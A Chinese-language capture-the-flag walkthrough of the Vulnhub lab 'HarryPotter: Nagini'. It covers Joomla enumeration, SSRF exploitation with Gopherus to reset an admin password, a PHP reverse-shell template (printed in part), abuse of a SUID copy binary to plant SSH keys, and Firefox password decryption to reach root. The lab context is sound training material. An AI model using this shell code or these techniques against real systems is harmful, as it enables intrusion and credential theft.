HARRYPOTTER: NAGINI

攻击机

192.168.223.128

目标机

192.168.223.145

主机发现

nmap -sP 192.168.223.0/24

HARRYPOTTER: NAGINI_第1张图片

端口扫描

nmap -sV -p- -A 192.168.223.145

HARRYPOTTER: NAGINI_第2张图片

开启了22 80端口

先看一下web界面

跟系列1一样是一张图片

看一下源码

HARRYPOTTER: NAGINI_第3张图片

没东西

看一下robots.txt

HARRYPOTTER: NAGINI_第4张图片

也没东西

再扫一下目录吧

gobuster dir -u http://192.168.223.145 -x html,txt,php,bak --wordlist=/usr/share/wordlists/dirb/common.txt

HARRYPOTTER: NAGINI_第5张图片

可见是个joomla的cms

HARRYPOTTER: NAGINI_第6张图片

是一个user登录界面,先放下,用joomla的扫描工具扫一下网站

joomscan --url http://192.168.223.145/joomla

HARRYPOTTER: NAGINI_第7张图片

有一个备份文件,打开发现是配置文件,里面有个数据用户名为goblin的,密码为空。

HARRYPOTTER: NAGINI_第8张图片

再看一下note.txt有什么提示

HARRYPOTTER: NAGINI_第9张图片

Hello developers!!


I will be using our new HTTP3 Server at https://quic.nagini.hogwarts for further communications.
All developers are requested to visit the server regularly for checking latest announcements.


Regards,
site_amdin

告诉我们使用http3访问。

尝试搭建了http3服务,有点难办,老是报错,看了一眼别人的wp,用http3-client访问url可以得到一个目录internalResourceFeTcher.php

打开发现是

HARRYPOTTER: NAGINI_第10张图片

是获取网站内部资源的东西,明摆的SSRF

使用gopherus来利用ssrf,gopherus可以用来攻击mysql和fastcgi,刚好前面得到了一个数据库用户名

查库

git clone https://github.com/tarunkant/Gopherus.git
python2 gopherus.py --exploit mysql 
goblin
show databases;

HARRYPOTTER: NAGINI_第11张图片

多提交几次才行

HARRYPOTTER: NAGINI_第12张图片

查表

git clone https://github.com/tarunkant/Gopherus.git
python2 gopherus.py --exploit mysql 
goblin
use joomla;show tables;

HARRYPOTTER: NAGINI_第13张图片

HARRYPOTTER: NAGINI_第14张图片

表明连一起有点难看清,里面有个joomla_users应该是包含用户信息的。

看字段

 

HARRYPOTTER: NAGINI_第15张图片

HARRYPOTTER: NAGINI_第16张图片

用户名site_admin,密码是什么不重要,我们可以update一下

HARRYPOTTER: NAGINI_第17张图片

把密码更新成123456

用site_admin 123456登录一下后台,发现登了上去

HARRYPOTTER: NAGINI_第18张图片

在extension-templates里面随便找一个,然后创建一个新的php文件,用来反弹shell

HARRYPOTTER: NAGINI_第19张图片

 array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
        printit("ERROR: Can't spawn shell");
        exit(1);
}
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
        if (feof($sock)) {
                printit("ERROR: Shell connection terminated");
                break;
        }
        if (feof($pipes[1])) {
                printit("ERROR: Shell process terminated");
                break;
        }
        $read_a = array($sock, $pipes[1], $pipes[2]);
        $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
        if (in_array($sock, $read_a)) {
                if ($debug) printit("SOCK READ");
                $input = fread($sock, $chunk_size);
                if ($debug) printit("SOCK: $input");
                fwrite($pipes[0], $input);
        }
        if (in_array($pipes[1], $read_a)) {
                if ($debug) printit("STDOUT READ");
                $input = fread($pipes[1], $chunk_size);
                if ($debug) printit("STDOUT: $input");
                fwrite($sock, $input);
        }
        if (in_array($pipes[2], $read_a)) {
                if ($debug) printit("STDERR READ");
                $input = fread($pipes[2], $chunk_size);
                if ($debug) printit("STDERR: $input");
                fwrite($sock, $input);
        }
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
function printit ($string) {
        if (!$daemon) {
                print "$string\n";
        }
}
?> 

访问,拿到shell

http://192.168.223.145/joomla/templates/protostar/shell.php

HARRYPOTTER: NAGINI_第20张图片

切换到交互shell

python3 -c 'import pty; pty.spawn("/bin/bash")'

home下有两个用户

第一个用户目录有第二个flag,但是权限不够,先不看,第一个flag应该在另一个用户下

HARRYPOTTER: NAGINI_第21张图片

snape用户下有个隐藏的txt文件,里面是个base64字符串,解码得到Love@lilly

HARRYPOTTER: NAGINI_第22张图片

HARRYPOTTER: NAGINI_第23张图片

Love@lilly应该是个什么密码

注意到snape用户目录下有ssh指令,猜测是ssh登录密码

HARRYPOTTER: NAGINI_第24张图片

成功登录

翻了一下,在html文件发现第一个flag

HARRYPOTTER: NAGINI_第25张图片

现在来想办法拿第一个flag

发现bin目录下有个指令su_cp具有suid权限,执行的时候会以hermoine的权限执行,而不是www-date

HARRYPOTTER: NAGINI_第26张图片

看一下使用说明

HARRYPOTTER: NAGINI_第27张图片

总的来说是一个以hermoine权限的复制功能,如果我自己生成一个ssh公钥复制到用户的.ssh目录,就可以利用公钥登录hermoine的ssh 了

先生成一个ssh公钥,我用的密码的123456

HARRYPOTTER: NAGINI_第28张图片

利用scp传到snape用户上

然后改名传到hermoine用户下

mv id_rsa.pub authorized_keys //公钥规定名
chmod 640 authorized_keys      //赋权,777试过了不行,640才行
cd /home/hermoine/bin/
./su_cp -p /home/snape/authorized_keys /home/hermoine/.ssh

用123456连接一下hermoine的ssh,登录成功

HARRYPOTTER: NAGINI_第29张图片

直接拿到第二个flag

HARRYPOTTER: NAGINI_第30张图片

下面开始root提权

看一下hermoine的文件HARRYPOTTER: NAGINI_第31张图片

发现里面有个mozilla文件,这个好像是火狐的公司

打开里面都是关于火狐浏览器的东西,里面应该有关于用户的信息

将mozilla传到kali攻击机上便于分析里面内容,还是用scp传一下

scp -rp [email protected]:/home/hermoine/.mozilla /root

安装firefox_decrypt工具分析

git clone https://github.com/unode/firefox_decrypt.git

使用工具

cd firefox_decrypt
python3 firefox_decrypt.py /root/.mozilla/firefox

HARRYPOTTER: NAGINI_第32张图片

拿到root账号密码

@Alohomora#123

su到root一下

HARRYPOTTER: NAGINI_第33张图片

拿到最后的flag,累死俺了。

总结:

1.目录扫描,得知joomlacms框架,用joomscan扫描得到备份文件,读取数据库账号

2.http3服务读取隐藏内容,得到internalResourceFeTcher.php目录,利用gopher协议进行ssrf,读取数据库,得到用户名,并修改用户密码

3.登录后台,在模板界面创建反弹shell 的php文件,拿到www-data权限

4.在snape用户得到ssh登录密钥,连接snape拿到第一个flag

5.在hermoine找到sp_cp命令,suid复制文件,自己生成一个ssh公钥,利用scp上传,利用sp_cp指令复制到hermoine的.ssh目录下,即可登录

6.连接hermoine的ssh读取到一个.mozilla的目录,利用工具firefox_decrypt分析firefox文件得到root的密码,拿到root权限

你可能感兴趣的:(vulnhub靶场,网络,渗透测试,网络安全,vulnhub靶机)